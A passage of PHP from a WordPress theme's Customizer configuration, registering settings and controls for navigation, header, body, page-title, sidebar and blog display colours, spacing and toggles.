esc_html__( 'Navigation Font Hover Color', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 530, )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_nav_underline', array( 'default' => '#8e94a0', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_nav_underline', array( 'default' => '#8e94a0', 'label' => esc_html__( 'Navigation Underline Highlight', 'xion-progression' ), 'description' => esc_html__( 'Remove by clearing the color.', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 535, )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_nav_bg', array( 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_nav_bg', array( 'label' => esc_html__( 'Navigation Item Background', 'xion-progression' ), 'description' => esc_html__( 'Remove background by clearing the color.', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 536, )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_nav_bg_hover', array( 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_nav_bg_hover', array( 'label' => esc_html__( 'Navigation Item Background Hover', 'xion-progression' ), 'description' => esc_html__( 'Remove background by clearing the color.', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 536, )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting('progression_studios_nav_letterspacing',array( 'default' => '0.04', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_nav_letterspacing', array( 'label' => esc_html__( 'Navigation Letter-Spacing', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 540, 'choices' => array( 'min' => -1, 'max' => 1, 'step' => 0.01 ), ) ) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_nav_search' ,array( 'default' => 'off', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_nav_search', array( 'label' => esc_html__( 'Search Icon in Navigation', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 600, 'choices' => array( 'on' => esc_html__( 'On', 'xion-progression' ), 'off' => esc_html__( 'Off', 'xion-progression' ), ), )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_search_shop' ,array( 'default' => 'shop', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_search_shop', array( 'label' => esc_html__( 'Search Default or Products', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 610, 'choices' => array( 'shop' => esc_html__( 'Shop', 'xion-progression' ), 'default' => esc_html__( 'Default', 'xion-progression' ), ), )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_nav_cart' ,array( 'default' => 'off', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_nav_cart', array( 'label' => esc_html__( 'Cart Icon in Navigation', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 620, 'choices' => array( 'on' => esc_html__( 'On', 'xion-progression' ), 'off' => esc_html__( 'Off', 'xion-progression' ), ), )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_nav_cart_color', array( 'default' => '#ffffff', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_nav_cart_color', array( 'label' => esc_html__( 'Count Color', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 625, )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_nav_cart_background', array( 'default' => '#ff8a00', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_nav_cart_background', array( 'label' => esc_html__( 'Count Background', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'priority' => 650, )) ); /* Section - Header - Tablet/Mobile Header Options */ $wp_customize->add_setting( 'progression_studios_header_phone_number' ,array( 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( 'progression_studios_header_phone_number', array( 'label' => esc_html__( 'Optional Phone Number', 'xion-progression' ), 'section' => 'progression-studios-navigation-font', 'type' => 'text', 'priority' => 660, ) ); /* Setting - Header - Sub-Navigation */ $wp_customize->add_setting( 'progression_studios_sub_nav_border_top', array( 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_sub_nav_border_top', array( 'label' => esc_html__( 'Sub-Navigation Border Top Color', 'xion-progression' ), 'section' => 'progression-studios-sub-navigation-font', 'priority' => 6, )) ); /* Setting - Header - Sub-Navigation */ $wp_customize->add_setting( 'progression_studios_sub_nav_bg', array( 'default' => '#46494f', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sub_nav_bg', array( 'default' => '#46494f', 'label' => esc_html__( 'Sub-Navigation Background Color', 'xion-progression' ), 'section' => 'progression-studios-sub-navigation-font', 'priority' => 10, )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting('progression_studios_sub_nav_font_size',array( 'default' => '13', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sub_nav_font_size', array( 'label' => esc_html__( 'Sub-Navigation Font Size', 'xion-progression' ), 'section' => 'progression-studios-sub-navigation-font', 'priority' => 510, 'choices' => array( 'min' => 0, 'max' => 30, 'step' => 1 ), ) ) ); /* Setting - Header - Navigation */ $wp_customize->add_setting( 'progression_studios_sub_nav_letterspacing' ,array( 'default' => '0', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sub_nav_letterspacing', array( 'label' => esc_html__( 'Sub-Navigation Letter-Spacing', 'xion-progression' ), 'section' => 'progression-studios-sub-navigation-font', 'priority' => 515, 'choices' => array( 'min' => -1, 'max' => 1, 'step' => 0.01 ), ) ) ); /* Setting - Header - Sub-Navigation */ $wp_customize->add_setting( 'progression_studios_sub_nav_font_color', array( 'default' => 'rgba(255,255,255, 0.8)', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sub_nav_font_color', array( 'default' => 'rgba(255,255,255, 0.8)', 'label' => esc_html__( 'Sub-Navigation Font Color', 'xion-progression' ), 'section' => 'progression-studios-sub-navigation-font', 'priority' => 520, )) ); /* Setting - Header - Sub-Navigation */ $wp_customize->add_setting( 'progression_studios_sub_nav_hover_font_color', array( 'default' => '#ffffff', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sub_nav_hover_font_color', array( 'default' => '#ffffff', 'label' => esc_html__( 'Sub-Navigation Font Hover Color', 'xion-progression' ), 'section' => 'progression-studios-sub-navigation-font', 'priority' => 530, )) ); /* Setting - Header - Sub-Navigation */ $wp_customize->add_setting( 'progression_studios_sub_nav_border_color', array( 'default' => 'rgba(255,255,255, 0.09)', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sub_nav_border_color', array( 'default' => '=rgba(255,255,255, 0.09)', 'label' => esc_html__( 'Sub-Navigation Divider Color', 'xion-progression' ), 'section' => 'progression-studios-sub-navigation-font', 'priority' => 540, )) ); /* Setting - Header - Sub-Navigation */ $wp_customize->add_setting( 'progression_studios_sub_nav_hover_bullet', array( 'default' => '#ffffff', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sub_nav_hover_bullet', array( 'default' => '#ffffff', 'label' => esc_html__( 'Sub-Navigation Hover Bullet', 'xion-progression' ), 'section' => 'progression-studios-sub-navigation-font', 'priority' => 550, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_sub_nav_bullet_effect' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_sub_nav_bullet_effect', array( 'label' => esc_html__( 'Sub-Navigation Hover Effect', 'xion-progression' ), 'section' => 'progression-studios-sub-navigation-font', 'priority' => 560, 'choices' => array( 'true' => esc_html__( 'Animate', 'xion-progression' ), 'false' => esc_html__( 'No Animation', 'xion-progression' ), ), )) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting( 'progression_studios_top_header_onoff' ,array( 'default' => 'off-pro', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_top_header_onoff', array( 'label' => esc_html__( 'Display Top Header Bar?', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 10, 'choices' => array( 'on-pro' => esc_html__( 'On', 'xion-progression' ), 'off-pro' => esc_html__( 'Off', 'xion-progression' ), ), )) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting( 'progression_studios_top_header_background', array( 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_background', array( 'label' => esc_html__( 'Top Header Background Color', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 20, )) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting( 'progression_studios_top_header_border_bottom', array( 'default' => 'rgba(255,255,255, 0.1)', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_border_bottom', array( 'default' => 'rgba(255,255,255, 0.1)', 'label' => esc_html__( 'Top Header Border Bottom', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 22, )) ); /* Setting - General - Page Title */ $wp_customize->add_setting( 'progression_studios_top_header_bg_image' ,array( 'sanitize_callback' => 'esc_url_raw', ) ); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_top_header_bg_image', array( 'label' => esc_html__( 'Top Header Background Image', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 23, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_header_bg_image_image_position' ,array( 'default' => 'cover', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_bg_image_image_position', array( 'label' => esc_html__( 'Image Cover', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 25, 'choices' => array( 'cover' => esc_html__( 'Image Cover', 'xion-progression' ), 'repeat-all' => esc_html__( 'Image Pattern', 'xion-progression' ), ), )) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting('progression_studios_top_header_font_size',array( 'default' => '12', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_top_header_font_size', array( 'label' => esc_html__( 'Top Header Font Size', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 530, 'choices' => array( 'min' => 5, 'max' => 25, 'step' => 1 ), ) ) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting('progression_studios_top_header_padding',array( 'default' => '14', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_top_header_padding', array( 'label' => esc_html__( 'Top Header Padding Above/Below', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 535, 'choices' => array( 'min' => 0, 'max' => 30, 'step' => 1 ), ) ) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting( 'progression_studios_top_header_color', array( 'default' => 'rgba(255,255,255, 0.75)', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_color', array( 'default' => 'rgba(255,255,255, 0.75)', 'label' => esc_html__( 'Top Header Font/Link Color', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 550, )) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting( 'progression_studios_top_header_hover_color', array( 'default' => '#ffffff', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_hover_color', array( 'default' => '#ffffff', 'label' => esc_html__( 'Top Header Font/Link Hover Color', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 555, )) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting( 'progression_studios_top_header_sub_border_top', array( 'default' => '#00da97', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_top_header_sub_border_top', array( 'label' => esc_html__( 'Sub Navigation Border top', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 560, )) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting( 'progression_studios_top_header_sub_bg', array( 'default' => '#ffffff', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_sub_bg', array( 'default' => '#ffffff', 'label' => esc_html__( 'Sub Navigation Background', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 565, )) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting( 'progression_studios_top_header_sub_border_clr', array( 'default' => 'rgba(0,0,0, 0.08)', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_sub_border_clr', array( 'default' => 'rgba(0,0,0, 0.08)', 'label' => esc_html__( 'Sub Navigation Border Color', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 568, )) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting( 'progression_studios_top_header_sub_color', array( 'default' => '#888888', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_sub_color', array( 'default' => '#888888', 'label' => esc_html__( 'Sub Navigation Font Color', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 570, )) ); /* Section - Header - Top Header Options */ $wp_customize->add_setting( 'progression_studios_top_header_sub_hover_color', array( 'default' => '#222222', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_sub_hover_color', array( 'default' => '#222222', 'label' => esc_html__( 'Sub Navigation Font Hover Color', 'xion-progression' ), 'section' => 'progression-studios-top-header-font', 'priority' => 575, )) ); /* Panel - Body */ $wp_customize->add_panel( 'progression_studios_body_panel', array( 'priority' => 8, 'title' => esc_html__( 'Body', 'xion-progression' ), ) ); /* Setting - Body - Body Main */ $wp_customize->add_setting( 'progression_studios_default_link_color', array( 'default' => '#5be592', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_default_link_color', array( 'label' => esc_html__( 'Default Link Color', 'xion-progression' ), 'section' => 'progression-studios-body-font', 'priority' => 500, )) ); /* Setting - Body - Body Main */ $wp_customize->add_setting( 'progression_studios_default_link_hover_color', array( 'default' => '#ffffff', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_default_link_hover_color', array( 'label' => esc_html__( 'Default Hover Link Color', 'xion-progression' ), 'section' => 'progression-studios-body-font', 'priority' => 510, )) ); /* Setting - Body - Body Main */ $wp_customize->add_setting( 'progression_studios_background_color', array( 'default' => '#03090d', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_background_color', array( 'label' => esc_html__( 'Body Background Color', 'xion-progression' ), 'section' => 'progression-studios-body-font', 'priority' => 513, )) ); /* Setting - Body - Body Main */ $wp_customize->add_setting( 'progression_studios_body_bg_image' ,array( 'sanitize_callback' => 'esc_url_raw', ) ); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_body_bg_image', array( 'label' => esc_html__( 'Body Background Image', 'xion-progression' ), 'section' => 'progression-studios-body-font', 'priority' => 525, )) ); /* Setting - Body - Body Main */ $wp_customize->add_setting( 'progression_studios_body_bg_image_image_position' ,array( 'default' => 'cover', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_body_bg_image_image_position', array( 'label' => esc_html__( 'Image Cover', 'xion-progression' ), 'section' => 'progression-studios-body-font', 'priority' => 530, 'choices' => array( 'cover' => esc_html__( 'Image Cover', 'xion-progression' ), 'repeat-all' => esc_html__( 'Image Pattern', 'xion-progression' ), ), )) ); /* Setting - Body - Page Title */ $wp_customize->add_setting('progression_studios_page_title_padding_top',array( 'default' => '180', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_page_title_padding_top', array( 'label' => esc_html__( 'Page Title Top Padding', 'xion-progression' ), 'section' => 'progression-studios-page-title', 'priority' => 501, 'choices' => array( 'min' => 0, 'max' => 450, 'step' => 1 ), ) ) ); /* Setting - Body - Page Title */ $wp_customize->add_setting('progression_studios_page_title_padding_bottom',array( 'default' => '180', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_page_title_padding_bottom', array( 'label' => esc_html__( 'Page Title Bottom Padding', 'xion-progression' ), 'section' => 'progression-studios-page-title', 'priority' => 515, 'choices' => array( 'min' => 0, 'max' => 450, 'step' => 1 ), ) ) ); /* Setting - General - General Layout */ $wp_customize->add_setting( 'progression_studios_page_title_align' ,array( 'default' => 'left', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_page_title_align', array( 'label' => esc_html__( 'Page Title Alignment', 'xion-progression' ), 'section' => 'progression-studios-page-title', 'priority' => 518, 'choices' => array( 'left' => esc_html__( 'Left', 'xion-progression' ), 'center' => esc_html__( 'Center', 'xion-progression' ), 'right' => esc_html__( 'Right', 'xion-progression' ), ), )) ); /* Setting - General - Page Title */ $wp_customize->add_setting( 'progression_studios_page_title_bg_image' ,array( 'sanitize_callback' => 'esc_url_raw', ) ); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_page_title_bg_image', array( 'label' => esc_html__( 'Page Title Background Image', 'xion-progression' ), 'section' => 'progression-studios-page-title', 'priority' => 535, )) ); /* Setting - General - Page Title */ $wp_customize->add_setting( 'progression_studios_page_title_image_position' ,array( 'default' => 'cover', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_page_title_image_position', array( 'section' => 'progression-studios-page-title', 'priority' => 536, 'choices' => array( 'cover' => esc_html__( 'Image Cover', 'xion-progression' ), 'repeat-all' => esc_html__( 'Image Pattern', 'xion-progression' ), ), )) ); /* Setting - Body - Page Title */ $wp_customize->add_setting( 'progression_studios_page_title_bg_color', array( 'default' => '#121517', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_page_title_bg_color', array( 'label' => esc_html__( 'Page Title Background Color', 'xion-progression' ), 'section' => 'progression-studios-page-title', 'priority' => 580, )) ); /* Setting - Body - Page Title */ $wp_customize->add_setting( 'progression_studios_page_title_overlay_color_top', array( 'default' => 'rgba(0,0,0,0)', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_page_title_overlay_color_top', array( 'default' => 'rgba(0,0,0,0)', 'label' => esc_html__( 'Page Title Gradient Overlay Top', 'xion-progression' ), 'section' => 'progression-studios-page-title', 'priority' => 600, )) ); /* Setting - Body - Page Title */ $wp_customize->add_setting( 'progression_studios_page_title_overlay_color', array( 'default' => 'rgba(0,0,0,0)', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_page_title_overlay_color', array( 'default' => 'rgba(0,0,0,0)', 'label' => esc_html__( 'Page Title Gradient Overlay Bottom', 'xion-progression' ), 'section' => 'progression-studios-page-title', 'priority' => 600, )) ); /* Setting - Body - Page Title */ $wp_customize->add_setting( 'progression_studios_sidebar_header_border', array( 'default' => 'rgba(255,255,255, 0.07)', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sidebar_header_border', array( 'default' => 'rgba(255,255,255, 0.07)', 'label' => esc_html__( 'List Divider Border', 'xion-progression' ), 'section' => 'progression-studios-sidebar-headings', 'priority' => 620, )) ); /* Setting - Body - Page Title */ $wp_customize->add_setting( 'progression_studios_sidebar_heading_bg', array( 'default' => '#1d1f22', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sidebar_heading_bg', array( 'default' => '#1d1f22', 'label' => esc_html__( 'Heading Background', 'xion-progression' ), 'section' => 'progression-studios-sidebar-headings', 'priority' => 625, )) ); /* Setting - Body - Page Title */ $wp_customize->add_setting( 'progression_studios_sidebar_widget_bg', array( 'default' => '#16171a', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sidebar_widget_bg', array( 'default' => '#16171a', 'label' => esc_html__( 'Widget Background', 'xion-progression' ), 'section' => 'progression-studios-sidebar-headings', 'priority' => 628, )) ); /* Setting - Body - Page Title */ $wp_customize->add_setting( 'progression_studios_sidebar_search', array( 'default' => '#1d1f22', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sidebar_search', array( 'default' => '#1d1f22', 'label' => esc_html__( 'Search Widget Background', 'xion-progression' ), 'section' => 'progression-studios-sidebar-headings', 'priority' => 660, )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_section( 'progression_studios_section_blog_index', array( 'title' => esc_html__( 'Blog Archive Options', 'xion-progression' ), 'panel' => 'progression_studios_blog_panel', // Not typically needed. 'priority' => 20, ) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_cat_sidebar' ,array( 'default' => 'right-sidebar', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_cat_sidebar', array( 'label' => esc_html__( 'Archive/Category Sidebar', 'xion-progression' ), 'section' => 'progression_studios_section_blog_index', 'priority' => 100, 'choices' => array( 'left-sidebar' => esc_html__( 'Left', 'xion-progression' ), 'right-sidebar' => esc_html__( 'Right', 'xion-progression' ), 'no-sidebar' => esc_html__( 'Hidden', 'xion-progression' ), ), )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_index_meta_category_display' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_index_meta_category_display', array( 'label' => esc_html__( 'Category Display', 'xion-progression' ), 'section' => 'progression_studios_section_blog_index', 'priority' => 332, 'choices' => array( 'true' => esc_html__( 'Display', 'xion-progression' ), 'false' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_excerpt_display' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_excerpt_display', array( 'label' => esc_html__( 'Excerpt Display', 'xion-progression' ), 'section' => 'progression_studios_section_blog_index', 'priority' => 333, 'choices' => array( 'true' => esc_html__( 'Display', 'xion-progression' ), 'false' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_meta_hide' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_meta_hide', array( 'label' => esc_html__( 'Display Post Meta', 'xion-progression' ), 'section' => 'progression_studios_section_blog_index', 'priority' => 334, 'choices' => array( 'true' => esc_html__( 'Display', 'xion-progression' ), 'false' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_meta_author_display' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_meta_author_display', array( 'label' => esc_html__( 'Author Meta', 'xion-progression' ), 'section' => 'progression_studios_section_blog_index', 'priority' => 335, 'choices' => array( 'true' => esc_html__( 'Display', 'xion-progression' ), 'false' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_meta_date_display' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_meta_date_display', array( 'label' => esc_html__( 'Date Meta', 'xion-progression' ), 'section' => 'progression_studios_section_blog_index', 'priority' => 340, 'choices' => array( 'true' => esc_html__( 'Display', 'xion-progression' ), 'false' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_meta_comment_display' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_meta_comment_display', array( 'label' => esc_html__( 'Comment Count Meta', 'xion-progression' ), 'section' => 'progression_studios_section_blog_index', 'priority' => 355, 'choices' => array( 'true' => esc_html__( 'Display', 'xion-progression' ), 'false' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Blog - Blog Post Options */ $wp_customize->add_setting( 'progression_studios_blog_post_sidebar' ,array( 'default' => 'right', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_post_sidebar', array( 'label' => esc_html__( 'Blog Post Sidebar', 'xion-progression' ), 'section' => 'progression-studios-blog-post-options', 'priority' => 10, 'choices' => array( 'left' => esc_html__( 'Left', 'xion-progression' ), 'right' => esc_html__( 'Right', 'xion-progression' ), 'none' => esc_html__( 'No Sidebar', 'xion-progression' ), ), )) ); /* Setting - Body - Page Title */ $wp_customize->add_setting('progression_studios_post_title_padding_top',array( 'default' => '180', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_post_title_padding_top', array( 'label' => esc_html__( 'Post Title Top Padding', 'xion-progression' ), 'section' => 'progression-studios-blog-post-title', 'priority' => 620, 'choices' => array( 'min' => 0, 'max' => 450, 'step' => 1 ), ) ) ); /* Setting - Body - Page Title */ $wp_customize->add_setting('progression_studios_post_title_padding_bottom',array( 'default' => '180', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_post_title_padding_bottom', array( 'label' => esc_html__( 'Post Title Bottom Padding', 'xion-progression' ), 'section' => 'progression-studios-blog-post-title', 'priority' => 630, 'choices' => array( 'min' => 0, 'max' => 450, 'step' => 1 ), ) ) ); /* Setting - Body - Page Title */ $wp_customize->add_setting( 'progression_studios_post_title_overlay_color_top', array( 'default' => 'rgba(3,9,13,0.2)', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_post_title_overlay_color_top', array( 'default' => 